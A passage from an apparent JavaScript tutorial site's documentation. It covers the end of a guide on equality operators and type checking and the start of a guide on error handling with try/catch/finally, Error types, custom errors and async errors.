integers Number.isSafeInteger(value) // true for safe integers ``` These methods from **[`Number`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number)** are more reliable than `typeof` for numeric checks. </Tab> <Tab title="instanceof"> The **[`instanceof` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof)** checks if an object is an instance of a constructor: ```javascript // Check if an object is an instance of a constructor [] instanceof Array // true {} instanceof Object // true new Date() instanceof Date // true /regex/ instanceof RegExp // true // Works with custom classes class Person {} const p = new Person(); p instanceof Person // true // Caveat: doesn't work across iframes/realms // The Array in iframe A is different from Array in iframe B ``` </Tab> <Tab title="Object.prototype.toString"> The **[`Object.prototype.toString`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString)** method is the most reliable for getting precise type information: ```javascript const getType = (value) => Object.prototype.toString.call(value).slice(8, -1); getType(null) // "Null" getType(undefined) // "Undefined" getType([]) // "Array" getType({}) // "Object" getType(new Date()) // "Date" getType(/regex/) // "RegExp" getType(new Map()) // "Map" getType(new Set()) // "Set" getType(Promise.resolve()) // "Promise" getType(function(){}) // "Function" getType(42) // "Number" getType("hello") // "String" getType(Symbol()) // "Symbol" getType(42n) // "BigInt" ``` </Tab> <Tab title="Custom Type Checker"> A comprehensive type-checking utility: ```javascript function getType(value) { // Handle null specially (typeof bug) if (value === null) return "null"; // Handle primitives const type = typeof value; if (type !== "object" && type !== "function") { return type; } // Handle objects with Object.prototype.toString const tag = Object.prototype.toString.call(value); return tag.slice(8, -1).toLowerCase(); } // Usage getType(null) // "null" getType([]) // "array" getType({}) // "object" getType(new Date()) // "date" getType(/regex/) // "regexp" getType(new Map()) // "map" getType(Promise.resolve()) // "promise" ``` </Tab> </Tabs> --- ## Decision Guide: Which to Use? ### The Simple Rule <Info> **Default to `===`** for all comparisons. It's predictable, doesn't perform type coercion, and will save you from countless bugs. The only exception: Use `== null` to check for both `null` and `undefined` in one comparison. </Info> ### Decision Flowchart ``` Need to compare two values? │ ▼ ┌───────────────────────────────┐ │ Checking for null/undefined? │ └───────────────────────────────┘ │ │ YES NO │ │ ▼ ▼ ┌──────────┐ ┌───────────────────┐ │ == null │ │ Need NaN or ±0? │ └──────────┘ └───────────────────┘ │ │ YES NO │ │ ▼ ▼ ┌──────────┐ ┌─────────┐ │Object.is │ │ === │ │ or │ └─────────┘ │Number. │ │ isNaN() │ └──────────┘ ``` ### Quick Reference | Scenario | Use | Example | |----------|-----|---------| | Default comparison | `===` | `if (x === 5)` | | Check nullish | `== null` | `if (value == null)` | | Check NaN | `Number.isNaN()` | `if (Number.isNaN(x))` | | Check array | `Array.isArray()` | `if (Array.isArray(x))` | | Check type | `typeof` | `if (typeof x === "string")` | | Distinguish ±0 | `Object.is()` | `Object.is(x, -0)` | ### ESLint Configuration Most style guides enforce `===` with an exception for null checks: ```javascript // .eslintrc.js module.exports = { rules: { // Require === and !== except for null comparisons "eqeqeq": ["error", "always", { "null": "ignore" }] } }; ``` This allows: ```javascript // Allowed if (value === 5) { } // Using === if (value == null) { } // Exception for null // Error if (value == 5) { } // Should use === ``` --- ## Common Gotchas and Mistakes These common mistakes trip up many JavaScript developers. Learning about them now will save you debugging time later: <AccordionGroup> <Accordion title="1. Comparing Objects by Value"> **The mistake:** ```javascript const user1 = { name: "Alice" }; const user2 = { name: "Alice" }; if (user1 === user2) { console.log("Same user!"); // Never runs! } ``` **Why it's wrong:** Objects are compared by reference, not by value. Two objects with identical content are still different objects. **The fix:** ```javascript // Option 1: Compare specific properties if (user1.name === user2.name) { console.log("Same name!"); } // Option 2: JSON.stringify (simple objects only) if (JSON.stringify(user1) === JSON.stringify(user2)) { console.log("Same content!"); } // Option 3: Deep equality function or library import { isEqual } from 'lodash'; if (isEqual(user1, user2)) { console.log("Same content!"); } ``` </Accordion> <Accordion title="2. Truthy/Falsy Confusion with =="> **The mistake:** ```javascript // These all behave unexpectedly if ([] == false) { } // true! (but [] is truthy) if ("0" == false) { } // true! (but "0" is truthy) if (" " == false) { } // false (but " " is truthy) ``` **Why it's confusing:** The `==` operator doesn't check truthiness. It performs type coercion according to specific rules. **The fix:** ```javascript // Use === for explicit comparisons if (value === false) { } // Only true for actual false // Or check truthiness directly if (!value) { } // Falsy check if (value) { } // Truthy check // For explicit boolean conversion if (Boolean(value) === false) { } ``` </Accordion> <Accordion title="3. NaN Comparisons"> **The mistake:** ```javascript const result = parseInt("hello"); if (result === NaN) { console.log("Not a number!"); // Never runs! } ``` **Why it's wrong:** `NaN` is never equal to anything, including itself. **The fix:** ```javascript // Use Number.isNaN() if (Number.isNaN(result)) { console.log("Not a number!"); // Works! } // Or Object.is() if (Object.is(result, NaN)) { console.log("Not a number!"); // Works! } // Avoid isNaN() - it coerces first isNaN("hello") // true (coerces to NaN) Number.isNaN("hello") // false (no coercion) ``` </Accordion> <Accordion title="4. The typeof null Trap"> **The mistake:** ```javascript function processObject(obj) { if (typeof obj === "object") { // Might be null! console.log(obj.property); // TypeError if null! } } processObject(null); // Crashes! ``` **Why it's wrong:** `typeof null === "object"` is true due to a historical bug. **The fix:** ```javascript function processObject(obj) { // Check for null AND typeof if (obj !== null && typeof obj === "object") { console.log(obj.property); } // Or use optional chaining (ES2020) console.log(obj?.property); } ``` </Accordion> <Accordion title="5. String Comparison Gotchas"> **The mistake:** ```javascript // Comparing numbers as strings console.log("10" > "9"); // false! (string comparison) // Why? Strings compare character by character // "1" (code 49) < "9" (code 57) ``` **Why it's wrong:** String comparison uses lexicographic order (like a dictionary), not numeric value. **The fix:** ```javascript // Convert to numbers first console.log(Number("10") > Number("9")); // true console.log(+"10" > +"9"); // true (unary +) console.log(parseInt("10") > parseInt("9")); // true // For sorting arrays of number strings ["10", "9", "2"].sort((a, b) => a - b); // ["2", "9", "10"] ``` </Accordion> <Accordion title="6. Empty Array Comparisons"> **The mistake:** ```javascript const arr = []; // These seem contradictory console.log(arr == false); // true console.log(arr ? "yes" : "no"); // "yes" // So arr equals false but is truthy?! ``` **Why it's confusing:** `==` uses type coercion (`[] → "" → 0`), but truthiness just checks if the value is truthy (all objects are truthy). **The fix:** ```javascript // Check array length for "emptiness" if (arr.length === 0) { console.log("Array is empty"); } // Or use the array itself as a boolean // (but remember, empty array is truthy!) if (!arr.length) { console.log("Array is empty"); } ``` </Accordion> </AccordionGroup> --- ## Common Misconceptions <AccordionGroup> <Accordion title="Misconception 1: '== is always bad and should never be used'"> **Not quite!** While `===` should be your default, there's one legitimate use case for `==`: ```javascript // The one acceptable use of == if (value == null) { // Catches both null AND undefined } // Equivalent to: if (value === null || value === undefined) { // Same result, but more verbose } ``` This is cleaner than checking for both values separately and is explicitly allowed by most style guides (including ESLint's `eqeqeq` rule with the `"null": "ignore"` option). </Accordion> <Accordion title="Misconception 2: '=== checks if types are the same'"> **Partially wrong!** `===` doesn't *just* check types. It checks if two values are the **same type AND same value**. ```javascript // Same type, different values → false 5 === 10 // false (both numbers, different values) "hello" === "hi" // false (both strings, different values) // Different types → immediately false 5 === "5" // false (no value comparison even attempted) ``` The key point: `===` returns `false` immediately if types differ, then compares values if types match. </Accordion> <Accordion title="Misconception 3: 'typeof is reliable for checking all types'"> **Wrong!** `typeof` has several well-known quirks: ```javascript typeof null // "object" — famous bug from 1995! typeof [] // "object" — arrays are objects typeof NaN // "number" — Not-a-Number is a number type typeof function(){} // "function" — but functions ARE objects! ``` **Better alternatives:** - Use `Array.isArray()` for arrays - Use `value === null` for null - Use `Number.isNaN()` for NaN - Use `Object.prototype.toString.call()` for precise type detection </Accordion> <Accordion title="Misconception 4: 'Objects with the same content are equal'"> **Wrong!** Objects (including arrays and functions) are compared by **reference**, not by content: ```javascript { a: 1 } === { a: 1 } // false — different objects in memory! [] === [] // false — different arrays! (() => {}) === (() => {}) // false — different functions! const obj = { a: 1 }; obj === obj // true — same reference ``` To compare object contents, use `JSON.stringify()` for simple cases or a deep equality function like Lodash's `_.isEqual()`. </Accordion> <Accordion title="Misconception 5: 'NaN means the value is not a number'"> **Misleading!** `NaN` is actually a *numeric value* that represents an undefined or unrepresentable mathematical result: ```javascript typeof NaN // "number" — NaN IS a number type! // NaN appears from invalid math operations 0 / 0 // NaN Math.sqrt(-1) // NaN parseInt("xyz") // NaN Infinity - Infinity // NaN ``` Think of `NaN` as "the result of a calculation that doesn't produce a meaningful number" rather than literally "not a number." </Accordion> <Accordion title="Misconception 6: 'Truthy values are == true'"> **Wrong!** Truthy/falsy and `==` equality are completely different concepts: ```javascript // These are truthy but NOT == true "hello" == true // false! ("hello" → NaN, true → 1) 2 == true // false! (2 !== 1) [] == true // false! ([] → "" → 0, true → 1) // But they ARE truthy if ("hello") { } // executes if (2) { } // executes if ([]) { } // executes ``` **Rule:** Don't use `== true` or `== false`. Either use `===` or just rely on truthiness directly: `if (value)`. </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about Equality Operators:** 1. **Use `===` by default** — It's predictable and doesn't convert types 2. **`==` converts types first** — This leads to unexpected results like `"0" == false` being `true` 3. **Only use `==` for null checks** — `value == null` checks for both `null` and `undefined` 4. **`NaN !== NaN`** — NaN doesn't equal anything, not even itself. Use `Number.isNaN()` to check for it 5. **Objects compare by reference** — `{} === {}` is `false` because they're different objects in memory 6. **`typeof null === "object"`** — This is a bug that can't be fixed. Always check for `null` directly 7. **`Object.is()` for edge cases** — Use it when you need to check for `NaN` or distinguish `+0` from `-0` 8. **Arrays return `"object"` from typeof** — Use `Array.isArray()` to check for arrays 9. **These rules are commonly asked in interviews** — Now you're prepared! 10. **Configure ESLint** — Use the `eqeqeq` rule to enforce `===` in your projects </Info> --- ## Interactive Visualization Tool The best way to internalize JavaScript's equality rules is to see all the comparisons at once. <Card title="JavaScript Equality Table" icon="table" href="https://dorey.github.io/JavaScript-Equality-Table/"> Interactive comparison table by dorey showing the results of `==` and `===` for all type combinations. Hover over cells to see explanations. An essential reference for understanding JavaScript equality! </Card> **Try these in the table:** - Compare `[]` with `false`, `0`, `""`, and `![]` to see why `[] == ![]` is `true` - See why `null == undefined` is `true` but neither equals `0` or `false` - Observe how `NaN` never equals anything (including itself) - Notice how objects only equal themselves (same reference) <Tip> **Bookmark this table!** It's invaluable for debugging comparison issues and preparing for technical interviews. </Tip> --- ## Test Your Knowledge Try to answer each question before revealing the solution: <AccordionGroup> <Accordion title="Question 1: What is the output of [] == ![] ?"> **Answer:** `true` **Step-by-step:** 1. `![]` → `false` (arrays are truthy, so negation makes false) 2. `[] == false` → `[] == 0` (boolean converts to number) 3. `[] == 0` → `"" == 0` (array converts to empty string) 4. `"" == 0` → `0 == 0` (string converts to number) 5. `0 == 0` → `true` This is why understanding type conversion is so important! </Accordion> <Accordion title="Question 2: Why does typeof null return 'object'?"> **Answer:** This is a bug from JavaScript's original implementation in 1995. In the original C code, values were represented with a type tag. Objects had the tag `000`, and `null` was represented as the NULL pointer (`0x00`), which also matched the `000` tag for objects. This bug was never fixed because too much existing code depends on this behavior. A proposal to fix it was rejected for backward compatibility reasons. **Workaround:** Always check for null explicitly: `value === null` </Accordion> <Accordion title="Question 3: How would you properly check if a value is NaN?"> **Answer:** Use `Number.isNaN()`: ```javascript Number.isNaN(NaN) // true Number.isNaN("hello") // false (no coercion) Number.isNaN(undefined) // false ``` **Avoid** the global `isNaN()` because it coerces its argument first: ```javascript isNaN("hello") // true (coerces to NaN) isNaN(undefined) // true (coerces to NaN) ``` You can also use `Object.is(value, NaN)` which returns `true` for `NaN`. </Accordion> <Accordion title="Question 4: What's the ONE legitimate use case for ==?"> **Answer:** Checking for both `null` and `undefined` in a single comparison: ```javascript // Using == if (value == null) { // value is null OR undefined } // Equivalent to: if (value === null || value === undefined) { // value is null OR undefined } ``` This works because `null == undefined` is `true` (special case in the spec), but `null` and `undefined` don't loosely equal anything else (not even `0`, `""`, or `false`). </Accordion> <Accordion title="Question 5: Why does {} === {} return false?"> **Answer:** Objects are compared by **reference**, not by **value**. When you write `{}`, JavaScript creates a new object in memory. When you write another `{}`, it creates a completely different object. Even though they have the same content (both are empty objects), they are stored at different memory locations. ```javascript const a = {}; const b = {}; const c = a; a === b // false (different objects) a === c // true (same reference) ``` To compare objects by content, you need to compare their properties or use a deep equality function. </Accordion> <Accordion title="Question 6: What's the difference between === and Object.is()?"> **Answer:** They behave identically except for two edge cases: | Expression | `===` | `Object.is()` | |------------|-------|---------------| | `NaN, NaN` | `false` | `true` | | `+0, -0` | `true` | `false` | ```javascript NaN === NaN // false Object.is(NaN, NaN) // true +0 === -0 // true Object.is(+0, -0) // false ``` Use `===` for everyday comparisons. Use `Object.is()` when you specifically need to check for `NaN` equality or distinguish positive from negative zero. </Accordion> <Accordion title="Question 7: How would you reliably check if something is an array?"> **Answer:** Use `Array.isArray()`: ```javascript Array.isArray([]) // true Array.isArray([1, 2, 3]) // true Array.isArray(new Array()) // true Array.isArray({}) // false Array.isArray("hello") // false Array.isArray(null) // false ``` **Why not `typeof`?** Because `typeof [] === "object"`. Arrays are objects in JavaScript. **Why not `instanceof Array`?** It works in most cases, but can fail across different JavaScript realms (like iframes) where each realm has its own `Array` constructor. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between == and === in JavaScript?"> The `==` (loose equality) operator converts values to the same type before comparing, while `===` (strict equality) compares both type and value without any conversion. For example, `5 == "5"` is true because the string is coerced to a number, but `5 === "5"` is false because a number and string are different types. According to the ECMAScript specification, `===` should be your default choice for reliable comparisons. </Accordion> <Accordion title="Why does NaN not equal itself in JavaScript?"> This behavior comes from the IEEE 754 floating-point specification, which JavaScript follows. NaN represents an undefined or unrepresentable mathematical result (like `0/0` or `Math.sqrt(-1)`), so it cannot meaningfully equal any value — including itself. Use `Number.isNaN()` to check for NaN reliably. </Accordion> <Accordion title="When should I use == instead of === in JavaScript?"> The only widely accepted use case for `==` is checking for null or undefined in a single expression: `if (value == null)`. This catches both `null` and `undefined` because the ECMAScript specification defines `null == undefined` as true. Most linters, including ESLint's `eqeqeq` rule, allow this specific pattern while enforcing `===` everywhere else. </Accordion> <Accordion title="What is Object.is() and when should I use it?"> `Object.is()` is an ES6 method that implements the "SameValue" equality algorithm. It behaves like `===` except in two cases: `Object.is(NaN, NaN)` returns true (unlike `===`), and `Object.is(+0, -0)` returns false (unlike `===`). Use it when you need to distinguish positive and negative zero or reliably detect NaN. </Accordion> <Accordion title="Why does typeof null return 'object' in JavaScript?"> This is a well-known bug from JavaScript's first implementation in 1995. As documented by MDN, values in the original engine used type tags, and both objects and null shared the `000` tag. A TC39 proposal to fix this was rejected because changing it would break backward compatibility with millions of existing websites. Always check for null explicitly with `value === null`. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Type Coercion" icon="shuffle" href="/concepts/type-coercion"> Deep dive into how JavaScript converts between types automatically </Card> <Card title="Primitive Types" icon="cube" href="/concepts/primitive-types"> Understanding JavaScript's fundamental data types </Card> <Card title="Primitives vs Objects" icon="clone" href="/concepts/primitives-objects"> How primitives and objects behave differently in JavaScript </Card> <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> Understanding where variables are accessible in your code </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Equality comparisons and sameness — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness"> Comprehensive official documentation covering ==, ===, Object.is(), and SameValue </Card> <Card title="typeof — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof"> Official documentation on the typeof operator and its behavior </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="JavaScript Double Equals vs. Triple Equals — Brandon Morelli" icon="newspaper" href="https://codeburst.io/javascript-double-equals-vs-triple-equals-61d4ce5a121a"> Uses side-by-side code comparisons to show exactly when == and === produce different results. Great starting point if you're new to JavaScript equality. </Card> <Card title="What is the difference between == and === in JavaScript? — Craig Buckler" icon="newspaper" href="https://www.oreilly.com/learning/what-is-the-difference-between-and-in-javascript"> O'Reilly's take on the equality debate with a clear recommendation on which operator to default to. Includes the edge cases that trip up even experienced developers. </Card> <Card title="=== vs == Comparison in JavaScript — FreeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/javascript-triple-equals-sign-vs-double-equals-sign-comparison-operators-explained-with-examples/"> Walks through the type coercion algorithm step-by-step with dozens of examples. The boolean comparison section explains why `true == "true"` returns false. </Card> <Card title="Checking Types in Javascript — Toby Ho" icon="newspaper" href="http://tobyho.com/2011/01/28/checking-types-in-javascript/"> Covers the limitations of typeof and when to use instanceof, Object.prototype.toString, or duck typing instead. Includes a reusable type-checking utility function. </Card> <Card title="How to better check data types in JavaScript — Webbjocke" icon="newspaper" href="https://webbjocke.com/javascript-check-data-types/"> Provides copy-paste utility functions for checking arrays, objects, nulls, and primitives. Explains why each approach works and when to use which method. </Card> <Card title="JavaScript Equality Table — dorey" icon="newspaper" href="https://dorey.github.io/JavaScript-Equality-Table/"> Visual comparison table showing the results of == and === for all type combinations. Essential reference! </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title='JavaScript "==" VS "===" — Web Dev Simplified' icon="video" href="https://www.youtube.com/watch?v=C5ZVC4HHgIg"> 8-minute breakdown with on-screen code examples showing type coercion in action. Kyle's explanation of the null/undefined special case is particularly helpful. </Card> <Card title="JavaScript - The typeof operator — Java Brains" icon="video" href="https://www.youtube.com/watch?v=ol_su88I3kw"> Demonstrates the typeof null bug and explains why it exists. Shows how to build a reliable type-checking function that handles all edge cases. </Card> <Card title="=== vs == in JavaScript — Hitesh Choudhary" icon="video" href="https://www.youtube.com/watch?v=a0S1iG3TgP0"> Live coding session showing surprising equality results and debugging them in the console. Great for seeing how these operators behave in real development. </Card> <Card title="== ? === ??? ...#@^% — Shirmung Bielefeld" icon="video" href="https://www.youtube.com/watch?v=qGyqzN0bjhc&t"> Conference talk diving deep into JavaScript's equality quirks and type coercion weirdness. </Card> </CardGroup> --- ## Books <Card title="You Don't Know JS: Types & Grammar — Kyle Simpson" icon="book" href="https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/types-grammar/README.md"> The definitive deep-dive into JavaScript types, coercion, and equality. Free to read online. Essential reading for truly understanding how JavaScript handles comparisons. </Card> ================================================ FILE: docs/concepts/error-handling.mdx ================================================ --- title: "Error Handling" sidebarTitle: "Error Handling: Managing Errors Gracefully" description: "Learn JavaScript error handling with try/catch/finally. Understand Error types, custom errors, async error patterns, and best practices for robust code." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "error handling, try catch finally, custom errors, error types, exception handling" --- What happens when something goes wrong in your JavaScript code? How do you prevent one small error from crashing your entire application? How do you give users helpful feedback instead of a cryptic error message? ```javascript // Without error handling - your app crashes const userData = JSON.parse('{ invalid json }') // SyntaxError! // With error handling - you stay in control try { const userData = JSON.parse('{ invalid json }') } catch (error) { console.log('Could not parse user data:', error.message) // Show user a friendly message, use default data, etc. } ``` **[Error handling](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#exception_handling_statements)** is how you detect, respond to, and recover from errors in your code. JavaScript provides the `try...catch...finally` statement for synchronous errors and special patterns for handling async errors in [Promises](/concepts/promises) and [async/await](/concepts/async-await). <Info> **What you'll learn in this guide:** - The `try...catch...finally` statement and when to use each block - The Error object and its properties (name, message, stack) - Built-in Error types: TypeError, ReferenceError, SyntaxError, and more - How to throw your own errors with meaningful messages - Creating custom Error classes for better error categorization - Error handling patterns for async code - Global error handlers for catching uncaught errors - Common mistakes and real-world patterns </Info> <Warning> **Helpful prerequisite:** This guide covers async error handling briefly. For a deeper dive into async patterns, check out [Promises](/concepts/promises) and [async/await](/concepts/async-await) first. </Warning> --- ## What is Error Handling in JavaScript? Errors happen. Users enter invalid data, network requests fail, APIs return unexpected responses, and sometimes we just make typos. **Error handling** is your strategy for detecting, responding to, and recovering from these problems gracefully. In JavaScript, you use the `try...catch` statement to catch errors, the `throw` statement to create them, and the `Error` object to describe what went wrong. According to the [Stack Overflow 2023 Developer Survey](https://survey.stackoverflow.co/2023/), debugging and error handling remain among the most time-consuming aspects of development, making robust error handling patterns a critical skill. <CardGroup cols={2}> <Card title="Error — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error"> Official MDN documentation for the Error object </Card> <Card title="try...catch — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"> MDN documentation for the try...catch statement </Card> </CardGroup> --- ## The Safety Net Analogy Think of error handling like a trapeze act at a circus. The acrobat (your code) performs risky moves high above the ground. The safety net (your catch block) is there to catch them if they fall. And no matter what happens, the show must go on (your finally block). ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE SAFETY NET ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ try { TRAPEZE ACT │ │ riskyMove() ┌─────────┐ │ │ } │ ACROBAT │ ← Your risky code │ │ └────┬────┘ │ │ │ │ │ catch (error) { ▼ FALLS! │ │ recover() ═══════════════════════ │ │ } SAFETY NET ← Catches the error │ │ │ │ finally { The show continues! │ │ cleanup() (runs no matter what) │ │ } │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` | Circus | JavaScript | Purpose | |--------|------------|---------| | Trapeze act | `try` block | Code that might fail | | Safety net | `catch` block | Handles the error if one occurs | | Show continues | `finally` block | Cleanup that always runs | | Acrobat falls | Error is thrown | Something went wrong | --- ## The try/catch/finally Statement The **[`try...catch`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch)** statement is JavaScript's primary tool for handling errors. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch), this statement has been part of JavaScript since ECMAScript 3 (1999) and remains the standard mechanism for synchronous error handling. Here's the full syntax: ```javascript try { // Code that might throw an error const result = riskyOperation() console.log(result) } catch (error) { // Code that runs if an error is thrown console.error('Something went wrong:', error.message) } finally { // Code that ALWAYS runs, error or not cleanup() } ``` ### The try Block The `try` block contains code that might throw an error. If an error occurs, execution immediately jumps to the `catch` block. ```javascript try { console.log('Starting...') // Runs JSON.parse('{ bad json }') // Error! Jump to catch console.log('This never runs') // Skipped } ``` ### The catch Block The `catch` block receives the error object and handles it. This is where you log errors, show user messages, or attempt recovery. ```javascript try { const data = JSON.parse(userInput) } catch (error) { // error contains information about what went wrong console.log(error.name) // "SyntaxError" console.log(error.message) // "Unexpected token b in JSON..." // You can recover gracefully const data = { fallback: true } } ``` <Tip> **Optional catch binding:** If you don't need the error object, you can omit it (ES2019+): ```javascript try { JSON.parse(maybeJson) } catch { // No (error) parameter needed if you don't use it return null } ``` </Tip> ### The finally Block The `finally` block always runs, whether an error occurred or not. It's perfect for cleanup code like closing connections or hiding loading spinners. ```javascript let isLoading = true try { const data = await fetchData() displayData(data) } catch (error) { showErrorMessage(error) } finally { // This runs no matter what! isLoading = false hideLoadingSpinner() } ``` <Warning> **finally runs even with return:** If you return from a try or catch block, finally still executes before the function returns: ```javascript function example() { try { return 'from try' } finally { console.log('finally runs!') // This still logs! } } example() // Logs "finally runs!", then returns "from try" ``` </Warning> ### try/catch Only Works Synchronously This trips people up: `try/catch` won't catch errors in callbacks that run later. ```javascript // ❌ WRONG - catch won't catch this error! try { setTimeout(() => { throw new Error('Async error') }, 1000) } catch (error) { console.log('This never runs') } // ✓ CORRECT - try/catch inside the callback setTimeout(() => { try { throw new Error('Async error') } catch (error) { console.log('Caught:', error.message) } }, 1000) ``` For async code, see the [Async Error Handling](#async-error-handling) section. --- ## The Error Object When an error occurs, JavaScript creates an **[Error](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error)** object with information about what went wrong. ### Error Properties | Property | Description | Example | |----------|-------------|---------| | `name` | The type of error | `"TypeError"`, `"ReferenceError"` | | `message` | Human-readable description | `"Cannot read property 'x' of undefined"` | | `stack` | Call stack when error occurred (non-standard but widely supported) | Shows file names, line numbers | | `cause` | Original error (ES2022+) | Used for error chaining | ```javascript try { undefinedVariable } catch (error) { console.log(error.name) // "ReferenceError" console.log(error.message) // "undefinedVariable is not defined" console.log(error.stack) // Full stack trace with line numbers } ``` The `stack` property is essential for debugging. It shows exactly where the error occurred and the chain of function calls that led to it. --- ## Built-in Error Types JavaScript has several built-in error types. Knowing them helps you understand what went wrong and how to fix it. The [ECMAScript specification](https://tc39.es/ecma262/#sec-native-error-types-used-in-this-specification) defines seven native error types, each representing a different category of runtime problem. | Error Type | When It Occurs | Common Cause | |------------|----------------|--------------| | **[Error](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error)** | Generic error | Base class, used for custom errors | | **[TypeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError)** | Wrong type | `null.foo`, calling non-function | | **[ReferenceError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError)** | Invalid reference | Using undefined variable | | **[SyntaxError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError)** | Invalid syntax | Bad JSON, missing brackets | | **[RangeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError)** | Value out of range | `new Array(-1)` | | **[URIError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError)** | Bad URI encoding | `decodeURIComponent('%')` | | **[AggregateError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AggregateError)** | Multiple errors | `Promise.any()` all reject | <AccordionGroup> <Accordion title="TypeError - The most common error"> Occurs when a value is not the expected type, like calling a method on `null` or `undefined`: ```javascript const user = null console.log(user.name) // TypeError: Cannot read property 'name' of null const notAFunction = 42 notAFunction() // TypeError: notAFunction is not a function ``` **Fix:** Check if values exist before using them: ```javascript console.log(user?.name) // undefined (no error) ``` </Accordion> <Accordion title="ReferenceError - Variable doesn't exist"> Occurs when you try to use a variable that hasn't been declared: ```javascript console.log(userName) // ReferenceError: userName is not defined ``` **Common causes:** Typos in variable names, forgetting to import, using variables before declaration. </Accordion> <Accordion title="SyntaxError - Invalid code or JSON"> Occurs when code has invalid syntax or when parsing invalid JSON: ```javascript JSON.parse('{ name: "John" }') // SyntaxError: Unexpected token n // JSON requires double quotes: { "name": "John" } JSON.parse('') // SyntaxError: Unexpected end of JSON input ``` **Note:** Syntax errors in your source code are caught at parse time, not runtime. `try/catch` only catches runtime SyntaxErrors like invalid JSON. </Accordion> <Accordion title="RangeError - Value out of bounds"> Occurs when a value is outside its allowed range: ```javascript new Array(-1) // RangeError: Invalid array length (1.5).toFixed(200) // RangeError: precision out of range (max is 100) 'x'.repeat(Infinity) // RangeError: Invalid count value ``` </Accordion> </AccordionGroup> --- ## The throw Statement The **[`throw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/throw)** statement lets you create your own errors. When you throw, execution stops and jumps to the nearest catch block. ```javascript function divide(a, b) { if (b === 0) { throw new Error('Cannot divide by zero') } return a / b } try { const result = divide(10, 0) } catch (error) { console.log(error.message) // "Cannot divide by zero" } ``` ### Always Throw Error Objects Technically you can throw anything, but always throw Error objects. They include a stack trace for debugging. ```javascript // ❌ BAD - No stack trace, hard to debug throw 'Something went wrong' throw 404 throw { message: 'Error' } // ✓ GOOD - Includes stack trace throw new Error('Something went wrong') throw new TypeError('Expected a string') throw new RangeError('Value must be between 0 and 100') ``` ### Creating Meaningful Error Messages Good error messages tell you what went wrong and ideally how to fix it: ```javascript // ❌ Vague throw new Error('Invalid input') // ✓ Specific throw new Error('Email address is invalid: missing @ symbol') throw new TypeError(`Expected string but got ${typeof value}`) throw new RangeError(`Age must be between 0 and 150, got ${age}`) ``` --- ## Custom Error Classes For larger applications, create custom error classes to categorize errors and add extra information. ```javascript class ValidationError extends Error { constructor(message) { super(message) this.name = 'ValidationError' } } class NetworkError extends Error { constructor(message, statusCode) { super(message) this.name = 'NetworkError' this.statusCode = statusCode } } ``` ### The Auto-Naming Pattern Instead of manually setting `this.name` in every class, use the constructor name: ```javascript class AppError extends Error { constructor(message, options) { super(message, options) this.name = this.constructor.name // Automatically uses class name } } class ValidationError extends AppError {} class DatabaseError extends AppError {} class NetworkError extends AppError {} // All have correct names automatically throw new ValidationError('Invalid email') // error.name === "ValidationError" ``` ### Using instanceof for Error Handling Custom errors let you handle different error types differently: ```javascript try { await saveUser(userData) } catch (error) { if (error instanceof ValidationError) { // Show validation message to user showFieldErrors(error.fields) } else if (error instanceof NetworkError) { // Network issue - maybe retry showRetryButton() } else { // Unknown error - log and show generic message console.error('Unexpected error:', error) showGenericError() } } ``` ### Error Chaining with cause (ES2022+) When catching and re-throwing errors, preserve the original error using the `cause` option: ```javascript async function fetchUserData(userId) { try { const response = await fetch(`/api/users/${userId}`) return await response.json() } catch (error) { // Wrap the original error with more context throw new Error(`Failed to load user ${userId}`, { cause: error }) } } // Later, you can access the original error try { await fetchUserData(123) } catch (error) { console.log(error.message) // "Failed to load user 123" console.log(error.cause.message) // Original fetch error } ``` --- ## Async Error Handling Error handling works differently with asynchronous code. Here's a quick overview. For comprehensive coverage, see our [Promises](/concepts/promises) and [async/await](/concepts/async-await) guides. ### With Promises: .catch() Use `.catch()` to handle errors in Promise chains: ```javascript fetch('/api/users') .then(response => response.json()) .then(users => displayUsers(users)) .catch(error => { // Catches errors from fetch, json parsing, or displayUsers console.error('Failed to load users:', error) }) .finally(() => { hideLoadingSpinner() }) ``` ### With async/await: try/catch With async/await, use regular try/catch blocks: ```javascript async function loadUsers() { try { const response = await fetch('/api/users') const users = await 